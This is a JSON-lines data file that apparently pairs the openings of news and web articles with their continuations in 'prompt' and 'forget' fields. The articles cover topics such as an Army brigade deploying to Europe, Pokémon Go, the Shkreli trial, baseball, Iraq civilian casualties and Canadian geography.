{"prompt": "The 3rd Armored Brigade Combat Team, 4th Infantry Division, has begun its movement to Europe, loading the first trains this week that will send a heavy brigade\u2019s worth of tanks, Bradley fighting vehicles and other equipment overseas in support of Operation Atlantic Resolve. Iron Brigade Soldiers, led by 1st Battalion, 66th Armor Regiment with the help of 4th Sustainment Brigade, began Nov. 7 to stage and load vehicles and containers at the railhead here to kick off operations that ultimately will send more than 2,000 pieces of rolling stock to eight countries in central and eastern Europe. \u201cA movement of", "forget": "ABCT assets like this from the United States into Europe hasn\u2019t occurred in decades,\u201d said Capt. Kenneth Kloeppel, the rail head officer in charge and a unit movement officer for 1-66 Armor Regt. \u201cIt\u2019s huge for this type of brigade effort to unite and lean forward with this mission.\u201d The full set of ABCT equipment will arrive at the port in Bremerhaven, Germany, in January, and then move by rail, commercial line haul and military convoy to Poland, where 3rd Brigade will consolidate before dispersing units to Germany and across six other countries from Estonia to Bulgaria beginning in February. The ability to mass and move heavy equipment rapidly will be an integral part of 3rd Brigade\u2019s mission to provide an increased U.S. Army presence across Europe. The 4,000-Soldier ABCT will contribute to and strengthen the NATO Alliance\u2019s deterrence and defense capabilities. \u201cDuring our nine-month rotation, we\u2019ll routinely exercise, mass and move throughout the European theater to refine our ability to maneuver an armored force across Alliance member states,\u201d said Warrant Officer Abraham Rosales, 3rd Brigade mobility officer. \u201cThe first example of this will be our arrival to Bremerhaven and demonstrating our ability to move all of our equipment to Poland within a couple weeks of the equipment\u2019s arrival to Germany.\u201d The first leg of this movement \u2014 rail operations at Fort Carson \u2014 will persist over the next month. \u201cThere are a lot of moving pieces, checks and balances, inspections, etc., to ensure that the mission runs smoothly,\u201d said Kloeppel. \u201cThere were a lot of things that took place to get to this point. We performed meticulous equipment maintenance and had inspections at the lowest level all the way to the top. Everything gets accounted for and we label hazardous material accordingly.\u201d Once the equipment clears final inspection, it"}
{"prompt": "Pok\u00e9mon Go, Nintendo's first mobile-based Pok\u00e9mon title, is officially out worldwide, and that means thousands of budding trainers will be hitting the streets looking for wild Pok\u00e9mon. Catch more rare stories like this in Facebook Messenger It also means thousands of people will be walking around cities and towns looking intently at their phones disregarding all manner of hazards in the quest to be the best like no one ever was. But how to play Pok\u00e9mon Go safely is another post. Here's how to catch your first Pok\u00e9mon, then catch more rare Pok\u00e9mon and finally power them up so you", "forget": "can capture gyms for your team. The Most Important Thing You Need To Do Is Walk \" The point of Pok\u00e9mon Go is to travel around, exploring different geographic areas to find appropriate Pok\u00e9mon. In a small town, expect to find a lot of normal- and grass-types. Going near water will attract water Pok\u00e9mon. Playing at night brings out more nocturnal creatures, like Clefairy and Gastly.\" [Polygon] As we've explored New York City, we've found plenty of Pok\u00e9mon that you'd expect to live in urban areas like Pidgeys, Nidorans, Meowths, and Eevees. But to catch a wider variety of Pok\u00e9mon, you're going to have to travel. If you look on your map in the game though, you'll also notice patches of rustling grass (similar to the original Pok\u00e9mon games). As you probably guessed, these patches contain wild Pok\u00e9mon, and walking towards them increase your chances of encountering them. We've noticed that these patches are more commonly found in parks and wooded areas, so if there are any of those near you, try heading there first. You can also try looking for Pok\u00e9mon near sources of water. The Pok\u00e9mon Intro Recreated In GTA V Is Both Beautiful And Horrible No Pok\u00e9mon popping up? If you tap the lower right hand bar on the main screen (which usually has a Pok\u00e9mon greyed out) you'll open a \"nearby\" menu that will show you which Pok\u00e9mon are in your area. See the footprints beneath each Pok\u00e9mon? They indicate how close each is to you at your current location. The more footprints there are, the further away the Pok\u00e9mon. No footprints? It's right next to you! Three footprints? You might have to walk around a bit (three footprints could mean a Pok\u00e9mon is as far as 150 meters away!). As you walk towards or away"}
{"prompt": "There's been some level of uncertainty regarding OCZ and especially the outstanding product warranties. I covered OCZ's situation and its position at Toshiba in our Vertex 460 review but now we've finally got the official word about warranties as well. In short, all OCZ's latest SSDs will be covered by warranty normally, but the unfortunate news is that all non-SSD products (such as PSUs, DRAM, USB drives etc.) will not be supported at all. Outstanding product warranties were excluded from the acquisition terms, so it appears that Toshiba is only willing to cover the most necessary products, those being OCZ's", "forget": "most popular SSDs. Bear in mind that the acquisition only included OCZ's consumer and enterprise storage divisions -- last time I heard OCZ was looking for a buyer for its other units but it seems that they've not been able to find one. Update: OCZ told us that they have a buyer for their PSU business with more details to follow in two weeks. The RAM and cooling divisions have been discontinued a long while ago, though. Normal Support Support Until Jan 22, 2015 Not Supported Vector 150 Vector Vertex 460 Vertex 450 Vertex 4 Vertex 3 Vertex 2 Vertex RevoDrive RevoDrive 3 RevoDrive 3X2 Agility 4 Agility 3 Agility 2 Agility ALL Non-SSD Products Core Series Apex Petrol Octane Series Solid Series Colossus Series IBIS Enyo Nocti RevoDrive Hybrid Summit Synapse Onyx Series Solid Series OCZ SATA I SSD (1st gen) OCZ SATA II SSD (1st gen) The good news is that the most popular SSDs are covered, including the older members of the Vertex family. The Agility series will be supported for another year, meaning that some warranties of Agility 3 and 4 will be shortened. Unsupported products include the rest of OCZ's SSDs and most of these are models that were never even sampled to media. Ultimately I believe these products were also OCZ's stumbling blocks because although they were cheap, the performance was horrible and failure rates were ridiculously high. If you have an unsupported product, you may not be out of luck if you happen to live in EU or other region with strict consumer protection laws. Here in Finland the seller is responsible for the warranty by law and OCZ's decision to discontinue support for some products does not change that. Obviously I can't speak for other countries but this is something worth finding"}
{"prompt": "Photo: Maya Robinson and Photos by Corbis Weezer\u2019s new album Everything Will Be Alright in the End, out yesterday, is a course correction for the band after a series of recent missteps. How do we know this? Because since 2001\u2019s Weezer (The Green Album), basically every Weezer album has been pitched as a course correction for the band after a series of recent missteps. (There\u2019s one exception, and the identity of that album may surprise you!) Take a look: All quotes, except where noted, by Rivers Cuomo. The album: Weezer (The Green Album) (2001) The previous missteps: Disappearing into self-indulgence", "forget": "on 1996\u2019s Pinkerton, then disappearing entirely for five years. The correction: Returning to the sound of The Blue Album, with the help of producer Ric Ocasek. \u201c[Pinkerton] is just a sick album, sick in a diseased sort of way \u2026 This [new] record is purely musical.\u201d \u2014Rolling Stone \u201c[Pinkerton] is a hideous record. It was such a hugely painful mistake that happened in front of hundreds of thousands of people and continues to happen on a grander and grander scale and just won\u2019t go away.\u201d \u2014Entertainment Weekly The album: Maladroit (2002) The previous missteps: Overreacting to the (still-embarrassing) failure of Pinkerton by creating an album of emotionless sheen. The correction: Embracing the heavy-metal sound that was apparently Cuomo\u2019s first true passion. \u201cAfter you\u2019ve made a record that\u2019s pretty straight pop stuff, you kinda wanna bust loose on the guitar a little bit \u2026 I don\u2019t know what the hell I was thinking [with the guitar solos on The Green Album]. I prefer shredding.\u201d \u2014Guitar World \u201cI grew up on metal, and I learned how to play the guitar by playing metal, and I was always in metal bands as a kid. So, really the aberration was the first two Weezer records. I was very consciously repressing my actual self.\u201d \u2014CDNOW.com \u201cThe Green Album was mostly fake girl songs.\u201d \u2014Spin \u201cI don\u2019t like Pinkerton. @#%$ it\u2019s a @#%$ album! I wish people would leave it alone.\u201d \u2014Kerrang The album: Make Believe (2005) The previous missteps: Not trying hard enough, emotionally and professionally. The correction: Writing more from the heart, and getting Rick Rubin to produce. \u201cOn Maladroit \u2026 the songwriting on my part wasn\u2019t great. \u2026 [Pinkerton] has the sound of someone who\u2019s not really in touch with other people, and I don\u2019t know if that\u2019s good.\u201d \u2014L.A. Weekly \u201cOn albums"}
{"prompt": "FILE - In this Dec. 17, 2015, file photo, Martin Shkreli, center, the former hedge fund manager under fire for buying a pharmaceutical company and ratcheting up the price of a life-saving drug, is escorted by law enforcement agents in New York after being taken into custody following a securities probe. Jurors heard testimony from the government's last witness on Tuesday, July 25, 2017, a day after Shkreli's lawyer told the court his client won't take the witness stand during his securities fraud trial. (AP Photo/Craig Ruttle, File) NEW YORK (AP) \u2014 Wealthy investors say former biotech CEO Martin Shkreli", "forget": "told them he was managing tens of millions of dollars\u2019 worth of investments, that they were making double-digit returns and they could withdraw their money at any time. Prosecutors in closing arguments Thursday at Shkreli\u2019s securities fraud trial said it was all a brazen con. The defense countered that no one should feel sorry for the alleged victims because they were high-rollers who ended up doubling or tripling their money. Shkreli, 34, is best known for jacking up the price of a life-saving drug and trolling his critics on social media, but his trial in Brooklyn has focused on his time running a pair of hedge funds. Assistant U.S. Attorney Alixandra Smith told jurors Shkreli \u201clied to investors to get their money into the funds and then lied to them so they wouldn\u2019t take it out.\u201d The prosecutor recounted testimony by investors who told jurors that Shkreli claimed to be managing up to $40 million in one of his firms at a time when its brokerage account held only a few hundred dollars. When one investor asked for his money back, Shkreli stalled for months until he used a Ponzi-like scheme to secretly raid a second fund to return a portion of the funds, she said. \u201cThe defendant was lying not only about the ability to get a redemption, but also about where that money was coming from,\u201d she said. As Shkreli was \u201cblowing up\u201d his hedge funds with bad stock picks, he continued to recruit new investors by portraying himself as a Wall Street whiz who graduated from Columbia University, Smith said. He really attended a lesser-known public university, Baruch College. Claims \u201cthat he was some sort of genius in the investing industry were completely untrue,\u201d she said. The defense has sought to portray the impish Shkreli as a"}
{"prompt": "The Cardinals injury bug is slowly leaving as both Jhonny Peralta and Tommy Pham have commenced playing baseball at some level, but how will this affect the Cards\u2019 current setup? Club GM John Mozeliak recently told 101ESPN what changes will most likely take place and what Peralta\u2019s return means for Aledmys Diaz, currently tending to shortstop. Mo also touched Kolten Wong\u2019s slump, Yadier Molina\u2019s fatigue, and Matt Adams and Stephen Piscotty\u2019s lively plate performances. The latest on Jhonny Peralta: \u201cHe will head to Florida and play with the Jupiter club for the next three to four days\u2026If all goes well,", "forget": "we\u2019ll try and activate him Tuesday in Cincinnati.\u201d On if Peralta\u2019s return will shake up the infield defense\u2019s look: \u201cI think right now we\u2019re going to try and keep (Aledmys) Diaz at short and then move some pieces around accordingly\u2026We have had Jhonny taking some balls at third base and he\u2019s done fine there. He\u2019s obviously more comfortable playing short, but feels he can do it.\u201d \u201cAnd (Matt Carpenter) said he\u2019s happy to go on the right side of the infield if need be. So I think we had that flexibility and you\u2019re looking at Diaz and clearly, from an offensive standpoint, he\u2019s come back to Earth a little bit, but we still want to keep building him up and you could see him move from time to time too.\u201d On if Kolten Wong could be sent to Memphis to work out his hitting slump: \u201cI don\u2019t want to talk about a given person especially when you\u2019re talking about a downward assignment, but overall this game is about performance. Ultimately, we\u2019ve got to try to put together our best 13 from an offensive standpoint to give us a chance to win.\u201d \u201cAs this picture becomes more clear and we have a better understanding about when some of these injured players are coming back and what to expect\u2026Everything has to be on the table when considering how to improve.\u201d On Matt Adams\u2019 offensive resurgence and relying on defense to help pitching: \u201cI think from a confidence level he\u2019s really feeling good about himself, and he should. The results are there\u2026Right now, when you have the competition going on for playing time, guys are stepping up and certainly answering the vow.\u201d \u201cWhen you look at the overall landscape of our infield, specifically when you talk about first base\u2026We were pretty bullish internally"}
{"prompt": "Giancarlo Stanton is not a happy camper. The star outfielder vented his frustrations over the Miami Marlins recent play following a 10-3 loss to the Philadelphia Phillies on Wednesday, which dropped them to 1-5 following the All-Star break and 11 1/2 games out of first place in the NL East. \u201cIf you can\u2019t win a series against the worst team in the league; there\u2019s not much going for you, right there,\u201d Stanton told MLB.com\u2019s Joe Frisaro after the game. Scroll to continue with content Ad Even after winning two of three in Miami, the Phillies hold the league\u2019s worst record", "forget": "at 32-61. They\u2019re not likely to be much of a spoiler for teams that are truly contenders, which is why Miami absolutely had to win if there were any hopes of turning it around before the July 31 trade deadline. To Stanton\u2019s credit he did everything he could to help Miami right the ship. He finished the three-game series with four home runs, but received very little help as the Marlins wrapped up a listless home stand. Giancarlo Stanton is quickly losing his patience with the Marlins. (AP) Losing two of three to baseball\u2019s worst team was enough to push Stanton to his breaking point, but there\u2019s no doubt these feelings have been stewing for awhile. It\u2019s only natural when you consider the team has disappointed, and as a result Stanton\u2019s name and several of his teammates names have been floated around in trade rumors. As is always the case in Miami, it seems they are on the verge of a fire sale, and with the team itself set to be sold there\u2019s not a lot of certainty for anyone currently involved in the organization. Story continues For Stanton in particular, this could be a key time in his career. He\u2019s currently signed to a 13-year, $325 million contract, but he holds a lot of power over where his career will go in the next few years. He holds a full no-trade clause, and also has an opt-out following the 2020 season. If he\u2019s not liking what he\u2019s seeing on the field or hearing from the organization, this might be the first clear indication he\u2019s reached the point where he\u2019s ready to move on. Stanton\u2019s comments alone won\u2019t increase the likelihood of a trade. But they add another layer to a story that was already worth watching before July 31."}
{"prompt": "The month of August is upon us and a wealth of activities in J\u00e1vea are ready to be enjoyed. We can pretty much guarantee sunshine and above 30degrees every day, but that shouldnt stop you from leaving the beaches of J\u00e1vea if only for a few nights and participate in some of the exciting things to do in Javea in August. Activities on the Javea Beaches August is the perfect month to spend some time on the excellent beaches of J\u00e1vea. The Cinema On The Beach, Cine Vora La Mar, is showing a new film every Tuesday evening of August.", "forget": "All films start at 22.00 (10pm) at the outdoor beach cinema located right on the Arenal Beach. The films at the beach cinema in August are: John Carter (7th of August), Jack & Jill (14th of August), Puss In Boots (21th of August) and Real Steel (28th of August). The films are dubbed into Spanish with English subtitles, but its still a wondrous experience to sit on the beach and enjoying the action on the big screen as the Mediterranean lands gently waves on the beach. On August 12th the monthly Serendipity Fun Day on the beach is happening from 5pm. Its a free social event right on the arenal beach, which features a picnic style meet up for all ages to chat, make new friends and enjoy a few snacks. Couples, singles and families of all ages welcome for an afternoon of hanging out with new friends, playing chess or bridge in the sand, volleyball, football or having a little swim in the sea. For more information about the Serendipity Fun Days contact Amanda O\u00b4Shea on Facebook or call Serendipity Holistic Services on 646 816 625. Javea Jazz Festival \u2013 XII Festival Internacional Javea Jazz The Costa Blanca beach resort J\u00e1vea hosts an International Jazz festival by the Mediterranean featuring upcoming stars on the jazz scene. The Javea Jazz Festival 2012 line up: Omer Avital Quintet (4th of August), Richard Galliano Tangaria Quartet (5th of August) and Andrea Motis & Joan Chamorro Group (6th of August). All concerts starts at 22.30 (10.30pm) in Plaza De La Constitucion in J\u00e1vea old town. Entry is 15euros per concert or 40euros for all 3. Read all about the Javea Jazz Festival here. A New Formula Champion? Fiesta 03730 \u2013 Go Kart competition The Javea go cart track \u2013 Carting Javea \u2013 hosts"}
{"prompt": "WASHINGTON (Reuters) - The Supreme Court, two days after hearing a major abortion case from Texas, on Friday temporarily blocked a Louisiana law imposing regulations on doctors who perform abortions in a move that would allow two recently closed clinics to reopen. People stand outside the Supreme Court building at Capitol Hill in Washington D.C., in this February 13, 2016 photo. REUTERS/Carlos Barria In a brief order, the court granted a request by abortion providers seeking to reinstate a lower-court injunction that blocked the Republican-backed 2014 law, which required doctors to obtain a formal affiliation with a local hospital. The", "forget": "abortion providers contend the law was designed to shut down abortion clinics by requiring hospital \u201cadmitting privileges\u201d that are difficult for their doctors to secure. Louisiana will now have four clinics in total. The order noted that one of the eight justices, conservative Clarence Thomas, said he would have denied the application. The order said the court\u2019s action was in line with its decision in June to temporarily block part of a Texas abortion law that was challenged by abortion providers in a high-profile case. The justices heard oral arguments in that case on Wednesday. The Louisiana law mandates that physicians who perform abortions have admitting privileges at a hospital within 30 miles (48 km) of the abortion clinic. The regulation matches one in the Texas law. U.S. District Judge John deGravelles in January granted a preliminary injunction sought by abortion providers, finding the law violated the constitutional right to an abortion established by the Supreme Court in 1973. The 5th U.S. Circuit Court of Appeals blocked that decision on Feb. 24, allowing the law to go into effect. The high court\u2019s action sent mixed signals on how it might rule in the Texas case, in part because the justices previously allowed the Texas admitting privileges provision to go into effect. The action could suggest the court has greater concerns about admitting privileges requirements than were indicated during Wednesday\u2019s argument in the Texas case. Friday\u2019s move effectively put Louisiana\u2019s law on hold while the justices prepare a ruling, expected by the end of June, in the Texas case. Nancy Northup, president of the Center for Reproductive Rights, which represents abortion providers in both cases, welcomed the court\u2019s action. \u201cThese underhanded tactics to cut off women\u2019s access to safe, legal abortion simply cannot stand,\u201d Northup said. The Texas case also involves"}
{"prompt": "The Super Bowl is over, which means that baseball season is almost here. More precisely, baseball prediction season is almost here, where ostensibly smart writers trip over themselves to be aggressively dumb in public. I know I'm addicted to the rush, not sure about everyone else. There's just something about picking the Royals for third place that really gets the endorphins firing. Before we get to the actual predictions, though, we'll start with something a little lighter. There are six divisions in baseball. All of them will have a champion in seven months. Our job today is to rank the", "forget": "divisional races to predict which one will be the most exciting. I didn't do this last year, so I can't laugh at past results, but I absolutely guarantee that my prediction for the least-exciting divisional race would have been the NL East because the Nationals were going to win by 13 games. It turns out that the NL East really was a boring division toward the end, but not because the Nationals ran away with it. The same will invariably apply to this year: The best divisions in baseball will disappoint, and a random team will come out of nowhere to be this year's Astros, which will turn an unexciting race into a September thriller. Until then, we'll go with what we think we know. Here are the best divisional races in baseball, in order from \"least exciting\" to \"most exciting.\" 6. NL East Before you yell at me too loudly, note that all of these divisional races are rare, beautiful creatures that just might steal our hearts by October. A bad divisional race is still a glorious divisional race, and this exercise is like ranking our children. But some kids are objectively worse than other kids. That's not my fault, and I'm not going to apologize for it. And the NL East should have two good teams, one team on the cusp and two lousy teams. That's a combo to make them a clear last-place finisher. While the other five divisions might not have the raw intensity of a potential Nationals/Mets arms race, they'll mix a third team in the discussion that's more interesting than the Marlins, and they'll have more interesting fifth-place teams than the Phillies and a more interesting fourth-place team than the Braves. That applies if those two switch places, too. In the most basic sense,"}
{"prompt": "Mar 8, 2015; Newark, NJ, USA; New Jersey Devils goalie Martin Brodeur (30) is honored as part of the 20th Anniversary of the 1995 Stanley Cup championship team before the game between the New Jersey Devils and the Philadelphia Flyers at Prudential Center. Mandatory Credit: Ed Mulholland-USA TODAY Sports Kevin Weekes released this article today on NHL.com regarding the release of 6 stamps by Canada Post that will feature six great Canadian NHL goalies of the past. We\u2019re going to take a stab at guessing at least four of the six. We\u2019ve been given some hints that should make figuring", "forget": "this out a little easier. Let\u2019s see if we can fill out the entire six slots. \u201cOnly a few goaltenders can be considered to be among the best of the best.\u201d \u201cHundreds of goalies have laced up the skates, put on the mask, pads and blocker, and had the courage to get in front of the net with pucks coming right at them, with the shots sometimes topping 100 mph. Equipment or not, that\u2019s no easy feat and isn\u2019t cut out for everyone.\u201d \u201cNot only did each elite goalie make an impression, each left a legacy. Our game is so much better for them having played it. Each has raised the standard and helped change the perception about not only how critical but also how dominant goalies can be in the NHL.\u201d \u201cEach of these goalies left his stamp on the game. Now six Canadian goalies will be honored in a collection of Great Canadian Goalie stamps, which debuts Oct. 1.\u201d \u201cWhile I can\u2019t tell you who the six will be, I\u2019ll say this: Five of the six are in the Hall of Fame, four have won the Calder Trophy, and each has won the Stanley Cup (a combined 20 times). Not to mention two have won the Conn Smythe Trophy. That\u2019s pretty impressive, so clearly each is deserving of the honor.\u201d \u201cThe confidence that each of these men gave their respective teammates, coaches and fans while taking it away from the opposition is immeasurable. They were game-changers. They were Game Savers.\u201d Well time for speculation folks as I dig through some old records and awards to see if we can\u2019t identify who the six Canadian legend NHL goalies are. We know 5 of them are hall of famers, with 4 of them being Calder trophy winners. That makes things"}
{"prompt": "The analysis on this page is being published shortly before the end of 2009, and at the date of first publication (Dec 31) is missing the final two weeks of the year. Figures displayed in blue are dynamic and will be updated from the IBC database as the remaining days are added. With this analysis IBC is introducing new interactive graphing tools allowing users to create their own trend analyses. We welcome comments to tGeRkX@@iVrEaNqDbOoBdQyLcPoBuHnAtG..oBrEgTRemove the capital letters to get the email address Civilian deaths from violence in 2009 Analysis of the year\u2019s toll from the Iraq Body Count project", "forget": "First published Introduction This IBC analysis of 2009 trends begins with the same cautionary note that prefaced the largely \u201csurge\u201d focused 2008 report: \u2026a distinction must be drawn between abstractions represented by varying rates of violence and the reality of that violence for those experiencing it. Every statistic on this page can be traced to a human life violently ended, none of whom are any less a victim for having been killed during a downward trend in violence. Trends 2009 has seen a number of significant improvements in levels of armed and non-state terrorist violence in Iraq. However, even taking into account worsening conditions elsewhere in the world, such violence still afflicts Iraq's population more than any other. Findings are summarised below, with graphs and underlying data available via the 'Show graph' buttons. Yearly totals The annual civilian death toll from violence in 2009 was the lowest since the 2003 invasion, at 5,376 by Dec 31 (2008: 10,274), and had the lowest recorded monthly toll (226 in November). However, for the first time since 2006 there has been no significant within-year decline, and the second half of 2009 saw about as many civilian deaths as the first. This may indicate that the situation is no longer improving. Most violent city On a per-capita basis, Mosul (799 recorded deaths in an estimated population of 1.8m) has in 2009 become significantly more deadly than Baghdad (est. pop. 6.5m, 1,725 deaths), despite none of the year's largest-scale bombings occurring in Mosul. Additionally, Mosul's absolute number of violent incidents deadly to civilians in 2009 (592) far exceeded Baghdad's (459). Civilian deaths caused by Coalition and Iraqi state forces Non-combatant Iraqi deaths resulting directly from actions involving US-led coalition forces were dramatically lower than in the preceding year, with a total of 87 reported by"}
{"prompt": "Defending World Champions, European Champions in 2008 and 2012, success at the age-group level, Real Madrid and Barcelona continually top or near the top of the wealthiest clubs list and home grown players much sought after around the world \u2013 this is a Golden Age for Spanish soccer ........or is it? Last week there was a very public reminder that success has not brought benefit to all. Because for all the success achieved over the last 10 years or so Spain has an unsustainable system by which the top two teams \u2013 Real Madrid and Barcelona - siphon off so", "forget": "much money that the others are faced with accepting the inevitably of irrelevance or incurring so much debt that bankruptcy becomes just another milestone in the business plan. Along the way suppliers go unpaid, taxes owing to governments mount and players and support staff are surprised if a pay check arrives on time. Racing Santander is not a well known name having never won a top honor in their one hundred year history. Fans in North America are more likely to recognize the name on account of US international defender Carlos Bocanegra playing on loan at Santander last season before signing for Chivas USA. Others with a slightly longer memory may remember when Ukrainian-American businessman Dmitry Piterman bought the club in 2003. There is nothing particularly unusual with a foreign businessman buying a Spanish soccer team but Piterman was not content to just own the club he wanted to run and manage every aspect of the club. A short while after buying a 24% stake and controlling interest in the club a TV interviewer asked Piterman is he was not cutting a bit more off than he could chew with his all-encompassing management style/ego-trip. His response was to say the least sharp and to the point; \u201cThere\u2019s a dork running the most powerful country in the world without a qualification to his name. And you ask me for a diploma to run a football team? Give me a break.\u201d However, Piterman could not get the Spanish Football Federation to budge on the technical qualifications to actually coach the club but they were no match for Dmitry. Piterman employed someone with the appropriate qualifications and installed his stooge as a figure-head coach. Meanwhile, Piterman accredited himself as the club photographer albeit one who sat next to the bench and barked instructions"}
{"prompt": "With the 2016 elections behind(?) us, we can get back to what auto enthusiasts and consumers do best: bashing automotive retailers. And while dealers doing good work using \u2018best practices\u2019 may come as a shock, they do exist \u2013 and a few are occasionally identified. One of the best is the Dallas area\u2019s Park Place Lexus, recently recognized by the Baldrige Performance Excellence Program. And no, this isn\u2019t based on owner Ken Schnitzer\u2019s 0-60 times or track day capability; rather, it\u2019s based on the combined assets of Park Place\u2019s management and staff working to ensure client satisfaction. Crazy concept, that\u2026", "forget": "The release provided by Park Place Lexus is below. And if you can\u2019t have your own Jay Leno-like garage and staff, use Ken Schnitzer\u2019s. His are among the best\u2026 PARK PLACE LEXUS RECOGNIZED FOR BEST PRACTICES IN CUSTOMER FOCUS BY BALDRIGE PERFORMANCE EXCELLENCE PROGRAM DALLAS (Nov. 18, 2016) \u2013 Texas-based Park Place Lexus has been recognized for a best practice in customer focus by the Baldrige Performance Excellence Program, part of the Malcolm Baldrige National Quality Award program. Park Place Lexus is one of six companies in the United States to be recognized. \u201cThe path we started more than a decade ago to pursue the Baldrige Program has led to improved strategies and best management practices we have implemented to better serve our clients,\u201d said Ken Schnitzer, chairman and founder of Park Place Dealerships. \u201cWe are honored to be recognized for our commitment to consistently deliver a positive customer experience.\u201d Park Place has two Lexus dealerships in North Texas that jointly received the recognition. Park Place Lexus Grapevine, located near Dallas/Fort Worth International Airport, and Park Place Lexus Plano, just north of Dallas, employ more than 570 people. In 2005, the two dealerships received the Malcolm Baldrige National Quality Award, the nation\u2019s highest Presidential honor for sustainable excellence through visionary leadership, organizational alignment, systemic improvement and innovation. \u201cBased on our continued improvement through a systematic approach to goal-setting, measures and reviews, we offer our clients the best automotive purchase and ownership experience,\u201d remarked Jordan Case, President of Park Place Lexus. \u201dWe continue to improve our processes of learning what we could do better and pushing ourselves to be the best in our industry.\u201d During a recent visit from Baldrige examiners, a site visit evaluation team spent several days interviewing 400 of Park Place\u2019s nearly 600 Lexus members. Park Place Lexus"}
{"prompt": "A man holds an envelope of marijuana that he purchased at a pharmacy in Montevideo in this file photo from July 19 ADVERTISING Read more Montevideo (AFP) Uruguay's unique new marijuana industry has run into a hurdle as international anti-money laundering rules are forcing banks to close the accounts of pharmacies legally selling the drug. Uruguayan pharmacies started selling marijuana last month under a 2013 law that made the South American country the first in the world to legalize pot all the way from production to sale. But lenders such as Uruguayan state bank Banco Republica (BROU) now say they", "forget": "must abandon such businesses. Not doing so would \"cause BROU and its clients to be financially isolated,\" its president Jorge Polgar was quoted as saying by El Observador newspaper. That would \"prevent it from carrying out any kind of operation with an international counterpart,\" he warned. Another major bank, Santander of Spain, said it too would close any accounts held with it by Uruguayan pharmacies selling the drug. \"As a global bank with clients in various countries, we have to observe the various norms in force in those places,\" a Santander source told AFP. - Blow to government - Some pharmacies have warned they will have to stop selling marijuana because of the banking restrictions. \"The truth is we did not know... that this could happen,\" Economy Minister Danilo Astori was quoted as saying by La Republica newspaper. \"A way will have to be found and we are looking for one.\" The marijuana law was launched by Uruguay's last president Jose Mujica. He urged his successor and ally Tabare Vazquez to find a solution. \"If this gets blocked, then the whole parliament will be blocked,\" warned Mujica, now a senator, whose Broad Front party has a majority in the legislature. Despite widespread public opposition, Mujica pushed through the law, saying it would stem violence and crime by undermining the illegal drugs trade. \"This is a blow to the government and to the Broad Front,\" said Adolfo Garce, a political scientist at Uruguay's University of the Republic. \"Having made so much progress, having planted and harvested the marijuana and delivered it to the pharmacies... not being able to sell it due to an unforeseen problem is a very hard blow.\" Another of the architects of the law, Julio Calzada, said Uruguay will now have to talk with US banks to seek"}
{"prompt": "The geography of Canada describes the geographic features of Canada, the world's second largest country in total area. Situated in northern North America (constituting 41% of the continent's area), Canada spans a vast, diverse territory between the North Pacific Ocean to the west and the North Atlantic Ocean to the east and the Arctic Ocean to the north (hence the country's motto \"From sea to sea\"), with the United States to the south (contiguous United States) and northwest (Alaska). Greenland is to the northeast; off the southern coast of Newfoundland lies Saint Pierre and Miquelon, an overseas collectivity of France.", "forget": "Since 1925, Canada has claimed the portion of the Arctic between 60\u00b0W and 141\u00b0W longitude to the North Pole; however, this claim is contested.[1] While the magnetic North Pole lies within the Canadian Arctic territorial claim as of 2011, recent measurements indicate it is moving towards Siberia.[2] Covering 9,984,670 km2 or 3,855,100 sq mi (land: 9,093,507 km2 or 3,511,023 sq mi; freshwater: 891,163 km2 or 344,080 sq mi), Canada is slightly less than three-fifths as large as Russia and slightly smaller than Europe. In total area, Canada is slightly larger than both the U.S. and China; however, Canada ranks fourth in land area (i.e. total area minus the area of lakes and rivers)\u2014China is 9,326,410 km2 (3,600,950 sq mi) and the U.S. is 9,161,923 km2 (3,537,438 sq mi).[3] The population of Canada, 35,151,728 as of May 10, 2016, is concentrated in the south close to its border with the contiguous U.S.; with a population density of 3.5 people per square kilometre (9.1/sq mi), it is one of the most sparsely populated countries in the world. The northernmost settlement in Canada\u2014and in the world\u2014is Canadian Forces Station (CFS) Alert (just north of Alert, Nunavut) on the northern tip of Ellesmere Island at 82\u00b030\u2032N 62\u00b019\u2032W, just 834 kilometres (518 mi) from the North Pole. Climate [ edit ] K\u00f6ppen climate classification types of Canada Arctic tundra covers parts of extreme northern Canada. Canada has a diverse climate. The climate varies from temperate on the west coast of British Columbia[4] to a subarctic climate in the north.[5] Extreme northern Canada can have snow for most of the year with a Polar climate.[6] Landlocked areas tend to have a warm summer continental climate zone[7] with the exception of Southwestern Ontario which has a hot summer humid continental climate.[7] Parts of Western Canada have a"}
{"prompt": "Jobless benefits cut off for a million US workers 1 March 2010 Inaction by the US Senate last week will result in the cutoff of extended unemployment benefits and COBRA health care coverage to more than one million workers. The cutoff, which began to take effect Sunday night, demonstrates the unbridgeable social gulf between the working class and the denizens of Capitol Hill, both Democrats and Republicans. The bill to extend unemployment benefits and COBRA coverage was blocked by Republican Senator Jim Bunning, an arch-reactionary from Kentucky who took advantage of a Senate rule requiring unanimous consent to bring the", "forget": "legislation to a vote before the weekend. Bunning, who is not running for reelection, was contemptuous of the suffering that he was helping inflict on more than one million workers, including an estimated 60,000 from his home state. He demanded that Senate Democrats agree to pay for the extended benefits without creating new debt, and declared that his actions were intended \u201cto send a message to the American people.\u201d Senate Majority Leader Harry Reid and Majority Whip Richard Durbin repeatedly called the bill up for a vote. Each time it was blocked by Bunning\u2019s voiced objection. But the Democratic Senate leaders declined to declare his action a filibuster and invoke cloture, although the required 60-vote majority would have been easily attainable. Under Senate rules, cloture would have led to 30 hours of debate on the bill, followed by a vote. This process would have avoided the cutoff of benefits, but would have caused senators to miss their flights home for the weekend. The Democratic leadership calculated that by allowing Bunning to block the extension they would be able to put the Republican minority in a bad light. Reid, Durbin and Vice President Joseph Biden issued hypocritical statements denouncing Bunning, but there was no move to invoke cloture. Instead, the Democrats said they would bring the bill up again next week. Responding to the political embarrassment, Republican Whip Jon Kyl said Sunday that while he supported Bunning in principle, the Republicans would vote to approve a 30-day extension for the unemployment program while further negotiations were conducted on a bipartisan bill to extend the program for an entire year. The expiration of the unemployment extension will have an enormous impact on working people, particularly in the states hardest hit by the collapse of manufacturing employment. Michigan, for instance, has 300,000 workers"}
